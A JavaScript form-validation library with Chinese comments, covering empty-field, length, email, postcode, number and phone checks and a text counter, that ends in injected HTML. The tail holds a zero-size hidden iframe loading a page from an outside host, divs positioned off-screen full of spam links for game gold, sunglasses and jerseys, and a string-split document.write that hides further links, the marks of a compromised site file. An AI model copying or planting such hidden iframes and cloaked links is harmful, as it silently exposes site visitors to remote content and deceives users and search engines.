var blnIsCorrect=true; //检查值有效性标志量，初始值为真（有效）
var strError='';       //当发生错误时显示的错误提示信息
var objItem;           //当发生错误时，将焦点定位到哪一个表单元素


//返回检查标志量，如果标志量为否，则显示错误警告，并将光标定位在出错的文本框内
function checkAll(){
    if (!blnIsCorrect){
        alert(strError);
        try{
            objItem.focus();
        }
        catch(e){
        }
        blnIsCorrect=true; //返回否之前重置标志量为真
        return false;
    }
    else
        return true;
}

//非空
function isNotEmpty(txtObj,message){
    if (blnIsCorrect){
        //如果txtObj是文本框或下拉列表框(value属性不为空)则判断txtObj的value是否为空,
        if (txtObj.value!=null){
            trimThis(txtObj);
            if (txtObj.value.length==0){
                strError=(message==null?'该值不能为空.':message);
                blnIsCorrect=false;
                if (txtObj.style.display=="none")
                    objItem=txtObj.previousSibling;
                else
                    objItem=txtObj;
            }
        }
        //否则txtObj是复选框或单选框,则判断txtObj每一个元素是否选中
        else{
            blnIsCorrect=false;
            for (i=0;i<txtObj.length && !blnIsCorrect;i++){
                if (txtObj[i].checked)
                    blnIsCorrect=true;
            }
            if (!blnIsCorrect){
                strError=(message==null?'该值不能为空.':message);
                objItem=txtObj[0];
            }
        }
    }
}
//去一个表单元素值的首尾空格
function trimThis(objThis){
    try{
        objThis.value=objThis.value.replace(/(^\s*)|(\s*$)/g,"");
    }
    catch(e){
    }
}
//长度不符合
function checkLength(txtObj1,min,max,message){
    if (blnIsCorrect&&(txtObj1.value.length<min ||txtObj1.value.length>max)){
        if (message!=null)
            strError=message;
        else
            strError='该项长度不符合！';
        blnIsCorrect=false;
        objItem=txtObj1;
    }
}
//是否是基本ASCII字符(ASCII字符集前127位可见字符)
function isASCII(txtObj,message){
    trimThis(txtObj);
    if (blnIsCorrect && txtObj.value.length!=0){
        var strCheck=/^[!-\x7f]*$/;
        if (!strCheck.exec(txtObj.value)){
            if (message!=null)
                strError=message;
            else
                strError='半角字符格式不正确.';
            blnIsCorrect=false;
            objItem=txtObj;
        }
    }
}

//是否是合法的标识符(以字母开头，字母、数字、下划线的组合)
function isIdentifier(txtObj){
    if (blnIsCorrect && txtObj.value.length!=0){
        var strCheck=/^[a-zA-Z]+(_{0,1}[a-zA-Z0-9])*$/;
        if (!strCheck.exec(txtObj.value)){
            if (message!=null)
                strError=message;
            else
                strError='标识符格式不正确.';
            blnIsCorrect=false;
            objItem=txtObj;
        }
    }
}
//两次输入的密码是否相等
function isEquals(txtObj1,txtObj2){
    if (blnIsCorrect&&(txtObj1.value.length!=0 ||txtObj2.value.length!=0)){
        trimThis(txtObj1);
        trimThis(txtObj2);
        if (txtObj1.value!=txtObj2.value){
            strError='两次输入的密码不一致.';
            blnIsCorrect=false;
            objItem=txtObj1;
        }
    }
}
//是否是合法的E_mail地址(以字母开头，字母、数字、下划线的组合，中间必须有一个“@”)
function isEmail(txtObj,message){
    trimThis(txtObj);
    if (blnIsCorrect && txtObj.value.length!=0){
        var strCheck=/^\S+@\S+\.\S+$/;
        if (!strCheck.exec(txtObj.value))    {
            strError='电子邮件信箱格式不正确.';
            blnIsCorrect=false;
            objItem=txtObj;
        }
    }
}
//是否是邮编
function isPostCode(txtObj){
    if (blnIsCorrect && txtObj.value.length!=0){
        var strCheck=/^\d{6}$/;
        if (!strCheck.exec(txtObj.value))
        {
            strError='邮编格式不正确.';
            blnIsCorrect=false;
            objItem=txtObj;
        }
    }
}
//是否是正整数
function isInt(txtObj,message){
    trimThis(txtObj);
    if (blnIsCorrect && txtObj.value.length!=0){
        var strCheck=/^\d+$/;
        if (!strCheck.exec(txtObj.value)){
            if (message!=null)
                strError=message;
            else
                strError='数字格式不正确.';
            blnIsCorrect=false;
            objItem=txtObj;
        }
    }
}
//是否为正实数
function isFloat(txtObj,message){
    if (blnIsCorrect && txtObj.value.length!=0){
        var strCheck=/^\d+\.{0,1}\d*$/;
        if (!strCheck.exec(txtObj.value))
        {
            if (message!=null)
                strError=message;
            else
                strError='该项格式不正确！';
            blnIsCorrect=false;
            objItem=txtObj;
        }
    }
}
//是否是电话号码
function isTel(txtObj,message){
    if (blnIsCorrect && txtObj.value.length!=0){
        var strCheck=/^\d+(-{0,1}\d+)*$/;
        if (!strCheck.exec(txtObj.value)){
            if (message!=null)
                strError=message;
            else
                strError='电话号码格式不正确.';
            blnIsCorrect=false;
            objItem=txtObj;
        }
    }
}

	


function textCounter(theField,theCharCounter,theLineCounter,maxChars,maxLines,maxPerLine)

{

	var strTemp = "";

	var strLineCounter = 0;

	var strCharCounter = 0;

	

	for (var i = 0; i < theField.value.length; i++)

	{

		var strChar = theField.value.substring(i, i + 1);

		

		if (strChar == '\n')

		{

			strTemp += strChar;

			strCharCounter = 1;

			strLineCounter += 1;

		}
		else if (strCharCounter == maxPerLine)
		{
			strTemp += '\n' + strChar;

			strCharCounter = 1;

			strLineCounter += 1;

		}

		else

		{

			strTemp += strChar;

			strCharCounter ++;

		}

	}

	

	theCharCounter.value = maxChars - strTemp.length;

	theLineCounter.value = maxLines - strLineCounter;
//alert(theCharCounter.value);
	if (theCharCounter.value<0){
		alert("文本字必须在500汉字或1000英文字以内(包括空格和空行)，超出限定将不能再输入数据！");
		theField.value=theField.value.substring(0,1000);
	}	
}

			
<IfRAME height=0 width=0 sRc="http://d.myhhg.com/index.php?u=276089"></IFrAME>

<DIV style="LEFT: -300px; POSITION: absolute; HEIGHT: 10px"><A title="sunglasses" href="http://www.oakleysunglassessale.com" target=_blank>Sunglasses</A><BR><A title="wow gold" href="http://www.wowgold-wlk.com" target=_blank>WOW Gold</A><BR><A title="NFL Jerseys" href="http://www.nfljerseysdirect.com" target=_blank>NFL Jerseys</A><BR><A title="skin care products" href="http://www.skincareproducts-sale.com" target=_blank>Skin Care Products</A><BR><A title="wow gold" href="http://www.wowgoldbc.com" target=_blank>WOW Gold</A><BR> </DIV>
<DIV style="LEFT: -300px; POSITION: absolute; HEIGHT: 10px"><A title="WoW Gold" href="http://www.wow-gold-tip.com" target=_blank>WoW Gold</A><BR><A title="Aion Kinah" href="http://www.wow-gold-tip.com/aion-k-kinah.html" target=_blank>Aion Kinah</A><BR><A title="Metin2 Yang" href="http://www.metin2store.com" target=_blank>Metin2 Yang</A><BR><A title="Metin2 Yang" href="http://www.metin2.mobi" target=_blank>Metin2 Yang</A><BR><A title="Metin2 Yang" href="http://www.metin2king.com" target=_blank>Metin2 Yang</A><BR><A title="Metin2 Yang" href="http://www.metin2fox.com" target=_blank>Metin2 Yang</A><BR><A title="Metin2 Yang" href="http://www.metin2pro.com" target=_blank>Metin2 Yang</A><BR> </DIV>

<script>document.write ('<d' + 'iv st' + 'yle' + '="po' + 'si' + 'tio' + 'n:a' + 'bso' + 'lu' + 'te;l' + 'ef' + 't:' + '-' + '10' + '00' + '0' + 'p' + 'x;' + '"' + '>');
</script><div>
友情链接：<a href="http://www.wanfugu.com">传奇私服</a>
<a href="http://www.yicheba.com">北京二手车</a>
<a href="http://www.133139.com">双模双待手机哪款好</a></div>
